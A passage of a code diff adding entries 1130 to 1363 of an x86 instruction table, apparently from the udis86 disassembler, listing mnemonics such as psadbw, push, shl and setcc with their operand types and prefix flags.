UD_Iprefetcht2, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1131 */ { UD_Ipsadbw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1132 */ { UD_Ivpsadbw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1133 */ { UD_Ipsadbw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1134 */ { UD_Ipshufw, O_P, O_Q, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1135 */ { UD_Ipsllw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1136 */ { UD_Ipsllw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1137 */ { UD_Ipsllw, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1138 */ { UD_Ipsllw, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1139 */ { UD_Ipslld, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1140 */ { UD_Ipslld, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1141 */ { UD_Ipslld, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1142 */ { UD_Ipslld, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1143 */ { UD_Ipsllq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1144 */ { UD_Ipsllq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1145 */ { UD_Ipsllq, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1146 */ { UD_Ipsllq, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1147 */ { UD_Ipsraw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1148 */ { UD_Ipsraw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1149 */ { UD_Ivpsraw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1150 */ { UD_Ipsraw, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1151 */ { UD_Ivpsraw, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1152 */ { UD_Ipsraw, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1153 */ { UD_Ipsrad, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1154 */ { UD_Ipsrad, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1155 */ { UD_Ivpsrad, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1156 */ { UD_Ipsrad, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1157 */ { UD_Ipsrad, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1158 */ { UD_Ivpsrad, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1159 */ { UD_Ipsrlw, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1160 */ { UD_Ipsrlw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1161 */ { UD_Ipsrlw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1162 */ { UD_Ivpsrlw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1163 */ { UD_Ipsrlw, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1164 */ { UD_Ivpsrlw, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1165 */ { UD_Ipsrld, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1166 */ { UD_Ipsrld, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1167 */ { UD_Ipsrld, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1168 */ { UD_Ivpsrld, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1169 */ { UD_Ipsrld, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1170 */ { UD_Ivpsrld, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1171 */ { UD_Ipsrlq, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1172 */ { UD_Ipsrlq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1173 */ { UD_Ipsrlq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1174 */ { UD_Ivpsrlq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1175 */ { UD_Ipsrlq, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1176 */ { UD_Ivpsrlq, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1177 */ { UD_Ipsubb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1178 */ { UD_Ivpsubb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1179 */ { UD_Ipsubb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1180 */ { UD_Ipsubw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1181 */ { UD_Ivpsubw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1182 */ { UD_Ipsubw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1183 */ { UD_Ipsubd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1184 */ { UD_Ipsubd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1185 */ { UD_Ivpsubd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1186 */ { UD_Ipsubsb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1187 */ { UD_Ipsubsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1188 */ { UD_Ivpsubsb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1189 */ { UD_Ipsubsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1190 */ { UD_Ipsubsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1191 */ { UD_Ivpsubsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1192 */ { UD_Ipsubusb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1193 */ { UD_Ipsubusb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1194 */ { UD_Ivpsubusb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1195 */ { UD_Ipsubusw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1196 */ { UD_Ipsubusw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1197 */ { UD_Ivpsubusw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1198 */ { UD_Ipunpckhbw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1199 */ { UD_Ivpunpckhbw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1200 */ { UD_Ipunpckhbw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1201 */ { UD_Ipunpckhwd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1202 */ { UD_Ivpunpckhwd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1203 */ { UD_Ipunpckhwd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1204 */ { UD_Ipunpckhdq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1205 */ { UD_Ivpunpckhdq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1206 */ { UD_Ipunpckhdq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1207 */ { UD_Ipunpcklbw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1208 */ { UD_Ivpunpcklbw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1209 */ { UD_Ipunpcklbw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1210 */ { UD_Ipunpcklwd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1211 */ { UD_Ivpunpcklwd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1212 */ { UD_Ipunpcklwd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1213 */ { UD_Ipunpckldq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1214 */ { UD_Ivpunpckldq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1215 */ { UD_Ipunpckldq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1216 */ { UD_Ipi2fw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1217 */ { UD_Ipi2fd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1218 */ { UD_Ipf2iw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1219 */ { UD_Ipf2id, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1220 */ { UD_Ipfnacc, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1221 */ { UD_Ipfpnacc, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1222 */ { UD_Ipfcmpge, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1223 */ { UD_Ipfmin, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1224 */ { UD_Ipfrcp, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1225 */ { UD_Ipfrsqrt, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1226 */ { UD_Ipfsub, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1227 */ { UD_Ipfadd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1228 */ { UD_Ipfcmpgt, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1229 */ { UD_Ipfmax, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1230 */ { UD_Ipfrcpit1, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1231 */ { UD_Ipfrsqit1, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1232 */ { UD_Ipfsubr, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1233 */ { UD_Ipfacc, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1234 */ { UD_Ipfcmpeq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1235 */ { UD_Ipfmul, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1236 */ { UD_Ipfrcpit2, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1237 */ { UD_Ipmulhrw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1238 */ { UD_Ipswapd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1239 */ { UD_Ipavgusb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1240 */ { UD_Ipush, O_ES, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1241 */ { UD_Ipush, O_CS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1242 */ { UD_Ipush, O_SS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1243 */ { UD_Ipush, O_DS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1244 */ { UD_Ipush, O_GS, O_NONE, O_NONE, O_NONE, P_none }, + /* 1245 */ { UD_Ipush, O_FS, O_NONE, O_NONE, O_NONE, P_none }, + /* 1246 */ { UD_Ipush, O_R0v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1247 */ { UD_Ipush, O_R1v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1248 */ { UD_Ipush, O_R2v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1249 */ { UD_Ipush, O_R3v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1250 */ { UD_Ipush, O_R4v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1251 */ { UD_Ipush, O_R5v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1252 */ { UD_Ipush, O_R6v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1253 */ { UD_Ipush, O_R7v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1254 */ { UD_Ipush, O_sIz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1255 */ { UD_Ipush, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1256 */ { UD_Ipush, O_sIb, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1257 */ { UD_Ipusha, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 1258 */ { UD_Ipushad, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 1259 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso }, + /* 1260 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_def64 }, + /* 1261 */ { UD_Ipushfd, O_NONE, O_NONE, O_NONE, O_NONE, P_oso }, + /* 1262 */ { UD_Ipushfq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_def64 }, + /* 1263 */ { UD_Ipushfq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_def64 }, + /* 1264 */ { UD_Ipxor, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1265 */ { UD_Ivpxor, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1266 */ { UD_Ipxor, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1267 */ { UD_Ircl, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1268 */ { UD_Ircl, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1269 */ { UD_Ircl, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1270 */ { UD_Ircl, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1271 */ { UD_Ircl, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1272 */ { UD_Ircl, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1273 */ { UD_Ircr, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1274 */ { UD_Ircr, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1275 */ { UD_Ircr, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1276 */ { UD_Ircr, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1277 */ { UD_Ircr, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1278 */ { UD_Ircr, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1279 */ { UD_Irol, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1280 */ { UD_Irol, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1281 */ { UD_Irol, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1282 */ { UD_Irol, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1283 */ { UD_Irol, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1284 */ { UD_Irol, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1285 */ { UD_Iror, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1286 */ { UD_Iror, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1287 */ { UD_Iror, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1288 */ { UD_Iror, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1289 */ { UD_Iror, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1290 */ { UD_Iror, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1291 */ { UD_Ircpps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1292 */ { UD_Ivrcpps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1293 */ { UD_Ircpss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1294 */ { UD_Ivrcpss, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1295 */ { UD_Irdmsr, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1296 */ { UD_Irdpmc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1297 */ { UD_Irdtsc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1298 */ { UD_Irdtscp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1299 */ { UD_Irepne, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1300 */ { UD_Irep, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1301 */ { UD_Iret, O_Iw, O_NONE, O_NONE, O_NONE, P_none }, + /* 1302 */ { UD_Iret, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1303 */ { UD_Iretf, O_Iw, O_NONE, O_NONE, O_NONE, P_none }, + /* 1304 */ { UD_Iretf, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1305 */ { UD_Irsm, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1306 */ { UD_Irsqrtps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1307 */ { UD_Ivrsqrtps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1308 */ { UD_Irsqrtss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1309 */ { UD_Ivrsqrtss, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1310 */ { UD_Isahf, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1311 */ { UD_Isalc, O_NONE, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1312 */ { UD_Isar, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1313 */ { UD_Isar, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1314 */ { UD_Isar, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1315 */ { UD_Isar, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1316 */ { UD_Isar, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1317 */ { UD_Isar, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1318 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1319 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1320 */ { UD_Ishl, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1321 */ { UD_Ishl, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1322 */ { UD_Ishl, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1323 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1324 */ { UD_Ishl, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1325 */ { UD_Ishl, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1326 */ { UD_Ishl, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1327 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1328 */ { UD_Ishl, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1329 */ { UD_Ishl, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1330 */ { UD_Ishr, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1331 */ { UD_Ishr, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1332 */ { UD_Ishr, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1333 */ { UD_Ishr, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1334 */ { UD_Ishr, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1335 */ { UD_Ishr, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1336 */ { UD_Isbb, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1337 */ { UD_Isbb, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1338 */ { UD_Isbb, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1339 */ { UD_Isbb, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1340 */ { UD_Isbb, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 1341 */ { UD_Isbb, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 1342 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1343 */ { UD_Isbb, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1344 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 1345 */ { UD_Isbb, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1346 */ { UD_Iscasb, O_NONE, O_NONE, O_NONE, O_NONE, P_strz }, + /* 1347 */ { UD_Iscasw, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw }, + /* 1348 */ { UD_Iscasd, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw }, + /* 1349 */ { UD_Iscasq, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw }, + /* 1350 */ { UD_Iseto, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1351 */ { UD_Isetno, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1352 */ { UD_Isetb, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1353 */ { UD_Isetae, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1354 */ { UD_Isetz, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1355 */ { UD_Isetnz, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1356 */ { UD_Isetbe, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1357 */ { UD_Iseta, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1358 */ { UD_Isets, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1359 */ { UD_Isetns, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1360 */ { UD_Isetp, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1361 */ { UD_Isetnp, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1362 */ { UD_Isetl, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1363 */ { UD_Isetge, 